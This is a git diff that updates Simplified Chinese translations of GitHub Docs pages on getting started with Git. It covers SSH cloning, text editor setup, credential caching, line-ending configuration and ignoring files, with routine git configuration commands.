+ {% ifversion fpt or ghec %}如果您希望使用 SSH，但不能通过端口 22 进行连接，则可通过 HTTPS 端口使用 SSH。 更多信息请参阅“[通过 HTTPS 端口使用 SSH](/github/authenticating-to-github/using-ssh-over-the-https-port)”。{% endif %}
 
-## Cloning with SSH URLs
+## 使用 SSH URL 克隆
 
-SSH URLs provide access to a Git repository via SSH, a secure protocol. To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)."
+SSH URL 通过 SSH（一种安全协议）提供 Git 仓库的访问权限。 To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 更多信息请参阅“[通过 SSH 连接 {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/connecting-to-github-with-ssh)”。
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using SSH URLs, you'll be prompted for a password and must provide your SSH key passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+使用 SSH URL 对远程仓库执行 `git clone`、`git fetch`、`git pull` 或 `git push` 命令时，系统将提示您输入密码，并且必须提供您的 SSH 密钥密码。 更多信息请参阅“[使用 SSH 密钥密码](/github/authenticating-to-github/working-with-ssh-key-passphrases)”。
 
-{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML single sign-on (SSO), you must authorize your SSH key to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}如果要访问使用 SAML 单点登录 (SSO) 的组织，您在进行身份验证之前必须授权 SSH 密钥以访问组织。 For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
 
 {% tip %}
 
-**Tip**: You can use an SSH URL to clone a repository to your computer, or as a secure way of deploying your code to production servers. You can also use SSH agent forwarding with your deploy script to avoid managing keys on the server. For more information, see "[Using SSH Agent Forwarding](/developers/overview/using-ssh-agent-forwarding)."
+**提示**：您可以使用 SSH URL 将仓库克隆到计算机，或作为将代码部署到生产服务器的安全方法。 您还可以将 SSH 代理转发与部署脚本一起使用，以避免管理服务器上的密钥。 更多信息请参阅“[使用 SSH 代理转发](/developers/overview/using-ssh-agent-forwarding)”。
 
 {% endtip %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Cloning with {% data variables.product.prodname_cli %}
+## 使用 {% data variables.product.prodname_cli %} 克隆
 
-You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.product_name %} workflows in your terminal. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+您还可以安装 {% data variables.product.prodname_cli %} 以在终端中使用 {% data variables.product.product_name %} 工作流程。 更多信息请参阅“[关于 {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)”。
 
 {% endif %}
 
 {% ifversion not ghae %}
-## Cloning with Subversion
+## 使用 Subversion 克隆
 
-You can also use a [Subversion](https://subversion.apache.org/) client to access any repository on {% data variables.product.prodname_dotcom %}. Subversion offers a different feature set than Git. For more information, see "[What are the differences between Subversion and Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)"
+您还可以使用 [Subversion](https://subversion.apache.org/) 客户端访问 {% data variables.product.prodname_dotcom %} 上的任何仓库。 Subversion 提供不同于 Git 的功能集。 更多信息请参阅“[Subversion 与 Git 之间有何差异？](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)”
 
-You can also access repositories on {% data variables.product.prodname_dotcom %} from Subversion clients. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)."
+您也可以从 Subversion 客户端访问 {% data variables.product.prodname_dotcom %} 上的仓库。 更多信息请参阅“[Subversion 客户端的支持](/github/importing-your-projects-to-github/support-for-subversion-clients)”。
 {% endif %}
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md b/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
index 8abbe4ef24..a2b7a4076c 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
@@ -1,6 +1,6 @@
 ---
-title: Associating text editors with Git
-intro: Use a text editor to open and edit your files with Git.
+title: 关联文本编辑器与 Git
+intro: 使用文本编辑器打开文件并通过 Git 编辑。
 redirect_from:
   - /textmate
   - /articles/using-textmate-as-your-default-editor
@@ -14,43 +14,44 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Associate text editors
+shortTitle: 关联文本编辑器
 ---
+
 {% mac %}
 
-## Using Atom as your editor
+## 使用 Atom 作为编辑器
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. 安装 [Atom](https://atom.io/)。 更多信息请参阅 Atom 文档中的“[安装 Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## 使用 Visual Studio Code 作为编辑器
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. 安装 [Visual Studio Code](https://code.visualstudio.com/) (VS Code)。 更多信息请参阅 VS Code 文档中的“[设置 Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## 使用 Sublime Text 作为编辑器
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. 安装 [Sublime Text](https://www.sublimetext.com/)。 更多信息请参阅 Sublime Text 文档中的“[安装](https://docs.sublimetext.io/guide/getting-started/installation.html)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
 
-## Using TextMate as your editor
+## 使用 TextMate 作为编辑器
 
-1. Install [TextMate](https://macromates.com/).
-2. Install TextMate's `mate` shell utility. For more information, see "[mate and rmate](https://macromates.com/blog/2011/mate-and-rmate/)" in the TextMate documentation.
+1. 安装 [TextMate](https://macromates.com/)。
+2. 安装 TextMate 的 `mate` shell 实用程序。 更多信息请参阅 TextMate 文档中的“[mate 和 rmate](https://macromates.com/blog/2011/mate-and-rmate/)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-4. Type this command:
+4. 输入此命令：
   ```shell
   $ git config --global core.editor "mate -w"
   ```
@@ -58,38 +59,38 @@ shortTitle: Associate text editors
 
 {% windows %}
 
-## Using Atom as your editor
+## 使用 Atom 作为编辑器
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. 安装 [Atom](https://atom.io/)。 更多信息请参阅 Atom 文档中的“[安装 Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## 使用 Visual Studio Code 作为编辑器
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. 安装 [Visual Studio Code](https://code.visualstudio.com/) (VS Code)。 更多信息请参阅 VS Code 文档中的“[设置 Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## 使用 Sublime Text 作为编辑器
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. 安装 [Sublime Text](https://www.sublimetext.com/)。 更多信息请参阅 Sublime Text 文档中的“[安装](https://docs.sublimetext.io/guide/getting-started/installation.html)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w"
   ```
 
-## Using Notepad++ as your editor
+## 使用 Notepad++ 作为编辑器
 
-1. Install Notepad++ from https://notepad-plus-plus.org/. For more information, see "[Getting started](https://npp-user-manual.org/docs/getting-started/)" in the Notepad++ documentation.
+1. 从 https://notepad-plus-plus.org/ 安装 Notepad++。 更多信息请参阅 Notepad++ 文档中的“[入门指南](https://npp-user-manual.org/docs/getting-started/)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin"
   ```
@@ -97,29 +98,29 @@ shortTitle: Associate text editors
 
 {% linux %}
 
-## Using Atom as your editor
+## 使用 Atom 作为编辑器
 
-1. Install [Atom](https://atom.io/). For more information, see "[Installing Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)" in the Atom documentation.
+1. 安装 [Atom](https://atom.io/)。 更多信息请参阅 Atom 文档中的“[安装 Atom](https://flight-manual.atom.io/getting-started/sections/installing-atom/)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "atom --wait"
   ```
 
-## Using Visual Studio Code as your editor
+## 使用 Visual Studio Code 作为编辑器
 
-1. Install [Visual Studio Code](https://code.visualstudio.com/) (VS Code). For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)" in the VS Code documentation.
+1. 安装 [Visual Studio Code](https://code.visualstudio.com/) (VS Code)。 更多信息请参阅 VS Code 文档中的“[设置 Visual Studio Code](https://code.visualstudio.com/Docs/setup/setup-overview)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "code --wait"
  ```
 
-## Using Sublime Text as your editor
+## 使用 Sublime Text 作为编辑器
 
-1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+1. 安装 [Sublime Text](https://www.sublimetext.com/)。 更多信息请参阅 Sublime Text 文档中的“[安装](https://docs.sublimetext.io/guide/getting-started/installation.html)”。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Type this command:
+3. 输入此命令：
   ```shell
   $ git config --global core.editor "subl -n -w"
   ```
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
index 5c74e8cf31..44002e87cf 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md
@@ -1,5 +1,5 @@
 ---
-title: Caching your GitHub credentials in Git
+title: 在 Git 中缓存 GitHub 凭据
 redirect_from:
   - /firewalls-and-proxies
   - /articles/caching-your-github-password-in-git
@@ -13,12 +13,12 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Caching credentials
+shortTitle: 缓存凭据
 ---
 
 {% tip %}
 
-**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you  can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)."
+**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you  can authenticate using an SSH key instead of using other credentials. 有关设置 SSH 连接的信息，请参阅“[生成 SSH 密钥](/articles/generating-an-ssh-key)”。
 
 {% endtip %}
 
@@ -53,7 +53,7 @@ For more information about authenticating with {% data variables.product.prodnam
 
 {% data reusables.gcm-core.next-time-you-clone %}
 
-Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
+验证成功后，您的凭据存储在 macOS 密钥链中，每次克隆 HTTPS URL 时都会使用。 Git will not require you to type your credentials in the command line again unless you change your credentials.
 
 {% endmac %}
 
@@ -77,7 +77,7 @@ Once you've authenticated successfully, your credentials are stored in the Windo
 
 {% warning %}
 
-**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. 
+**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it.
 
 {% endwarning %}
 
@@ -97,7 +97,7 @@ For Linux, install Git and GCM, then configure Git to use GCM.
 
 Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
 
-For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git.
+有关在 Linux 上存储凭据的更多选项，请参阅 Pro Git 中的[凭据存储](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) 。
 
 {% endlinux %}
 
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md b/translations/zh-CN/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
index 676651b64c..c9c9e419a2 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git to handle line endings
-intro: 'To avoid problems in your diffs, you can configure Git to properly handle line endings.'
+title: 配置 Git 处理行结束符
+intro: 为避免差异中出现问题，可配置 Git 正常处理行标题。
 redirect_from:
   - /dealing-with-lineendings
   - /line-endings
@@ -14,22 +14,23 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Handle line endings
+shortTitle: 处理行结束
 ---
+
 ## About line endings
-Every time you press <kbd>return</kbd> on your keyboard you insert an invisible character called a line ending. Different operating systems handle line endings differently.
+每次按键盘上的 <kbd>return</kbd> 时，会插入一个称为行结束符的不可见字符。 不同的操作系统处理行结束符的方式不同。
 
-When you're collaborating on projects with Git and {% data variables.product.product_name %}, Git might produce unexpected results if, for example, you're working on a Windows machine, and your collaborator has made a change in macOS.
+在使用 Git 和 {% data variables.product.product_name %} 协作处理项目时，Git 可能产生意外结果，例如，您在 Windows 计算机上操作，而您的协作者是在 macOS 中做的更改。
 
-You can configure Git to handle line endings automatically so you can collaborate effectively with people who use different operating systems.
+您可以将 Git 配置为自动处理行结束符，以便与使用不同操作系统的人员有效地协作。
 
-## Global settings for line endings
+## 行结束符的全局设置
 
-The `git config core.autocrlf` command is used to change how Git handles line endings. It takes a single argument.
+`git config core.autocrlf` 命令用于更改 Git 处理行结束符的方式。 它将采用单一参数。
 
 {% mac %}
 
-On macOS, you simply pass `input` to the configuration. For example:
+在 macOS 上，只需将 `input（输入）`传递给配置。 例如：
 
 ```shell
 $ git config --global core.autocrlf input
@@ -40,7 +41,7 @@ $ git config --global core.autocrlf input
 
 {% windows %}
 
-On Windows, you simply pass `true` to the configuration. For example:
+在 Windows 上，只需将 `true（真）`传递给配置。 例如：
 
 ```shell
 $ git config --global core.autocrlf true
@@ -52,7 +53,7 @@ $ git config --global core.autocrlf true
 
 {% linux %}
 
-On Linux, you simply pass `input` to the configuration. For example:
+在 Linux 上，只需将 `input（输入）`传递给配置。 例如：
 
 ```shell
 $ git config --global core.autocrlf input
@@ -61,20 +62,20 @@ $ git config --global core.autocrlf input
 
 {% endlinux %}
 
-## Per-repository settings
+## 按仓库设置
 
-Optionally, you can configure a *.gitattributes* file to manage how Git reads line endings in a specific repository. When you commit this file to a repository, it overrides the `core.autocrlf` setting for all repository contributors. This ensures consistent behavior for all users, regardless of their Git settings and environment.
+（可选）您可以配置 *.gitattribute* 文件来管理 Git 如何读取特定仓库中的行结束符。 将此文件提交到仓库时，它将覆盖所有仓库贡献者的 `core.autocrlf` 设置。 这可确保所有用户的行为一致，而不管其 Git 设置和环境如何。
 
-The *.gitattributes* file must be created in the root of the repository and committed like any other file.
+*.gitattributes* 文件必须在仓库的根目录下创建，且像任何其他文件一样提交。
 
-A *.gitattributes* file looks like a table with two columns:
+*.gitattributes* 文件看上去像一个两列表格。
 
-* On the left is the file name for Git to match.
-* On the right is the line ending configuration that Git should use for those files.
+* 左侧是 Git 要匹配的文件名。
+* 右侧是 Git 应对这些文件使用的行结束符配置。
 
-### Example
+### 示例
 
-Here's an example *.gitattributes* file. You can use it as a template for your repositories:
+以下是 *.gitattributes* 文件示例。 您可以将其用作仓库的模板：
 
 ```
 # Set the default behavior, in case people don't have core.autocrlf set.
@@ -93,43 +94,43 @@ Here's an example *.gitattributes* file. You can use it as a template for your r
 *.jpg binary
 ```
 
-You'll notice that files are matched—`*.c`, `*.sln`, `*.png`—, separated by a space, then given a setting—`text`, `text eol=crlf`, `binary`. We'll go over some possible settings below.
+您会发现文件是匹配的—`*.c`, `*.sln`, `*.png`—用空格分隔，然后提供设置—`text`, `text eol=crlf`, `binary`。 我们将在下面介绍一些可能的设置。
 
-- `text=auto` Git will handle the files in whatever way it thinks is best. This is a good default option.
+- `text=auto` Git 将以其认为最佳的方式处理文件。 这是一个合适的默认选项。
 
-- `text eol=crlf` Git will always convert line endings to `CRLF` on checkout. You should use this for files that must keep `CRLF` endings, even on OSX or Linux.
+- `text eol=crlf` 在检出时 Git 将始终把行结束符转换为 `CRLF`。 您应将其用于必须保持 `CRLF` 结束符的文件，即使在 OSX 或 Linux 上。
 
-- `text eol=lf` Git will always convert line endings to `LF` on checkout. You should use this for files that must keep LF endings, even on Windows.
+- `text eol=lf` 在检出时 Git 将始终把行结束符转换为 `LF`。 您应将其用于必须保持 LF 结束符的文件，即使在 Windows 上。
 
-- `binary` Git will understand that the files specified are not text, and it should not try to change them. The `binary` setting is also an alias for `-text -diff`.
+- `binary` Git 会理解指定文件不是文本，并且不应尝试更改这些文件。 `binary` 设置也是 `-text -diff` 的一个别名。
 
-## Refreshing a repository after changing line endings
+## 在更改行结束符后刷新仓库
 
-When you set the `core.autocrlf` option or commit a *.gitattributes* file, you may find that Git reports changes to files that you have not modified. Git has changed line endings to match your new configuration.
+设置 `core.autocrlf` 选项或提交 *.gitattributes* 文件后，您可能会发现 Git 报告您尚未修改的文件更改。 Git 更改了行结束符，以匹配您的新配置。
 
-To ensure that all the line endings in your repository match your new configuration, backup your files with Git, delete all files in your repository (except the `.git` directory), then restore the files all at once.
+为确保仓库中的所有行结束符与新配置匹配，请使用 Git 备份文件，删除仓库中的所有文件（`.git` 目录除外），然后一次性恢复所有文件。
 
-1. Save your current files in Git, so that none of your work is lost.
+1. 在 Git 中保存当前文件，以便不会丢失任何工作。
   ```shell
   $ git add . -u
   $ git commit -m "Saving files before refreshing line endings"
   ```
-2. Add all your changed files back and normalize the line endings.
+2. 添加回所有已更改的文件，然后标准化行结束符。
   ```shell
   $ git add --renormalize .
   ```
-3. Show the rewritten, normalized files.
+3. 显示已重写的标准化文件。
   ```shell
   $ git status
   ```
-4. Commit the changes to your repository.
+4. 将更改提交到仓库。
   ```shell
   $ git commit -m "Normalize all the line endings"
   ```
 
-## Further reading
+## 延伸阅读
 
-- [Customizing Git - Git Attributes](https://git-scm.com/book/en/Customizing-Git-Git-Attributes) in the Pro Git book
-- [git-config](https://git-scm.com/docs/git-config) in the man pages for Git
-- [Getting Started - First-Time Git Setup](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup) in the Pro Git book
-- [Mind the End of Your Line](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) by [Tim Clem](https://github.com/tclem)
+- Pro Git 书籍中的[自定义 Git - Git 属性](https://git-scm.com/book/en/Customizing-Git-Git-Attributes)
+- Git 手册页面中的 [git-config](https://git-scm.com/docs/git-config)
+- Pro Git 书籍中的[入门 - 首次 Git 设置](https://git-scm.com/book/en/Getting-Started-First-Time-Git-Setup)
+- [Mind the End of Your Line（注意行的结束）](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/)，作者：[Tim Clem](https://github.com/tclem)
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/git-workflows.md b/translations/zh-CN/content/get-started/getting-started-with-git/git-workflows.md
index 426fd8dbb8..9fb8f3cdd9 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/git-workflows.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/git-workflows.md
@@ -1,6 +1,6 @@
 ---
-title: Git workflows
-intro: '{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow that supports teams and projects that deploy regularly.'
+title: Git 工作流程
+intro: '{% data variables.product.prodname_dotcom %} 流是一个基于分支的轻量级工作流程，支持定期部署的团队和项目。'
 redirect_from:
   - /articles/what-is-a-good-git-workflow
   - /articles/git-workflows
@@ -13,4 +13,5 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-You can adopt the {% data variables.product.prodname_dotcom %} flow method to standardize how your team functions and collaborates on {% data variables.product.prodname_dotcom %}. For more information, see "[{% data variables.product.prodname_dotcom %} flow](/github/getting-started-with-github/github-flow)."
+
+您可以采用 {% data variables.product.prodname_dotcom %} 流方法标准化 {% data variables.product.prodname_dotcom %} 上团队的运作和协作方式。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 流程](/github/getting-started-with-github/github-flow)”。
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/ignoring-files.md b/translations/zh-CN/content/get-started/getting-started-with-git/ignoring-files.md
index 72d4b8d668..daddfd1d4f 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/ignoring-files.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/ignoring-files.md
@@ -1,5 +1,5 @@
 ---
-title: Ignoring files
+title: 忽略文件
 redirect_from:
   - /git-ignore
   - /ignore-files
@@ -7,60 +7,60 @@ redirect_from:
   - /github/using-git/ignoring-files
   - /github/getting-started-with-github/ignoring-files
   - /github/getting-started-with-github/getting-started-with-git/ignoring-files
-intro: 'You can configure Git to ignore files you don''t want to check in to {% data variables.product.product_name %}.'
+intro: '您可以配置 Git 忽略您不想检入 {% data variables.product.product_name %} 的文件。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## Configuring ignored files for a single repository
 
-You can create a *.gitignore* file in your repository's root directory to tell Git which files and directories to ignore when you make a commit.
-To share the ignore rules with other users who clone the repository, commit the *.gitignore* file in to your repository.
+## 为单个仓库配置忽略的文件
 
-GitHub maintains an official list of recommended *.gitignore* files for many popular operating systems, environments, and languages in the `github/gitignore` public repository. You can also use gitignore.io to create a *.gitignore* file for your operating system, programming language, or IDE. For more information, see "[github/gitignore](https://github.com/github/gitignore)" and the "[gitignore.io](https://www.gitignore.io/)" site.
+您可以在仓库的根目录中创建 *.gitignore* 文件，指示 Git 在您进行提交时要忽略哪些文件和目录。 要与克隆仓库的其他用户共享忽略规则，请提交 *.gitignore* 文件到您的仓库。
+
+GitHub 在 `github/gitignore` 公共仓库中维护建议用于许多常用操作系统、环境及语言的 *.gitignore* 文件正式列表。 您也可以使用 gitignore.io 创建 *.gitignore* 文件，以用于操作系统、编程语言或 IDE。 更多信息请参阅“[github/gitignore](https://github.com/github/gitignore)”和“[gitignore.io](https://www.gitignore.io/)”网站。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Create a *.gitignore* file for your repository.
+2. 导航到 Git 仓库的位置。
+3. 为仓库创建 *.gitignore* 文件。
    ```shell
    $ touch .gitignore
   ```
 
    If the command succeeds, there will be no output.
-   
-For an example *.gitignore* file, see "[Some common .gitignore configurations](https://gist.github.com/octocat/9257657)" in the Octocat repository.
 
-If you want to ignore a file that is already checked in, you must untrack the file before you add a rule to ignore it. From your terminal, untrack the file.
+例如 *.gitignore* 文件，请参阅 Octocat 仓库中的“[一些常见的 .gitignore 配置](https://gist.github.com/octocat/9257657)”。
+
+如果想要忽略已检入的文件，则必须在添加忽略该文件的规则之前取消跟踪它。 从终端取消跟踪文件。
 
 ```shell
 $ git rm --cached <em>FILENAME</em>
 ```
 
-## Configuring ignored files for all repositories on your computer
+## 为计算机上的所有存储库配置忽略的文件
 
-You can also create a global *.gitignore* file to define a list of rules for ignoring files in every Git repository on your computer. For example, you might create the file at *~/.gitignore_global* and add some rules to it.
+您也可以创建全局 *.gitignore* 文件，以定义忽略计算机上每个 Git 仓库中文件的规则列表。 例如，在 *~/.gitignore_global* 中创建文件并加入一些规则。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Configure Git to use the exclude file *~/.gitignore_global* for all Git repositories.
+2. 配置 Git 对所有 Git 仓库使用排除文件 *~/.gitignore_global*。
   ```shell
   $ git config --global core.excludesfile ~/.gitignore_global
   ```
 
-## Excluding local files without creating a *.gitignore* file
+## 排除本地文件而不创建 *.gitignore* 文件
 
-If you don't want to create a *.gitignore* file to share with others, you can create rules that are not committed with the repository. You can use this technique for locally-generated files that you don't expect other users to generate, such as files created by your editor.
+如果不想创建 *.gitignore* 文件与其他人共享，可以创建不随仓库提交的规则。 您可以对不希望其他用户生成的本地生成文件使用此方法，例如编辑者创建的文件。
 
-Use your favorite text editor to open the file called *.git/info/exclude* within the root of your Git repository. Any rule you add here will not be checked in, and will only ignore files for your local repository.
+使用您常用的文本编辑器打开 Git 仓库根目录中的文件 *.git/info/exclude*。 您在此处添加的任何规则都不会检入，并且只会对您的本地仓库忽略文件。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Navigate to the location of your Git repository.
-3. Using your favorite text editor, open the file *.git/info/exclude*.
+2. 导航到 Git 仓库的位置。
+3. 使用您常用的文本编辑器打开文件 *.git/info/exclude*。
 
-## Further Reading
+## 延伸阅读
 
-* [Ignoring files](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) in the Pro Git book
-* [.gitignore](https://git-scm.com/docs/gitignore) in the man pages for Git
-* [A collection of useful *.gitignore* templates](https://github.com/github/gitignore) in the github/gitignore repository
-* [gitignore.io](https://www.gitignore.io/) site
+* Pro Git 书籍中的[忽略文件](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring)
+* Git 手册页面中的 [.gitignore](https://git-scm.com/docs/gitignore)
+* [github/gitignore 仓库中有用的 *.gitignore* 模板集合](https://github.com/github/gitignore)
+* [gitignore.io](https://www.gitignore.io/) 网站
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/index.md b/translations/zh-CN/content/get-started/getting-started-with-git/index.md
index 35a583d510..fa72c73237 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/index.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/index.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with Git
-intro: 'Set up Git, a distributed version control system, to manage your {% data variables.product.product_name %} repositories from your computer.'
+title: 开始使用 Git
+intro: '设置 Git（一个分布式版本控制系统）以从计算机管理您的 {% data variables.product.product_name %} 仓库。'
 redirect_from:
   - /articles/getting-started-with-git-and-github
   - /github/using-git/getting-started-with-git-and-github
diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/managing-remote-repositories.md b/translations/zh-CN/content/get-started/getting-started-with-git/managing-remote-repositories.md
index 0914d2a7ea..3da91c787d 100644
--- a/translations/zh-CN/content/get-started/getting-started-with-git/managing-remote-repositories.md
+++ b/translations/zh-CN/content/get-started/getting-started-with-git/managing-remote-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Managing remote repositories
-intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.product_name %}.'
+title: 管理远程仓库
+intro: '了解如何使用计算机上的本地仓库以及 {% data variables.product.product_name %} 上托管的远程仓库。'
 redirect_from:
   - /categories/18/articles
   - /remotes
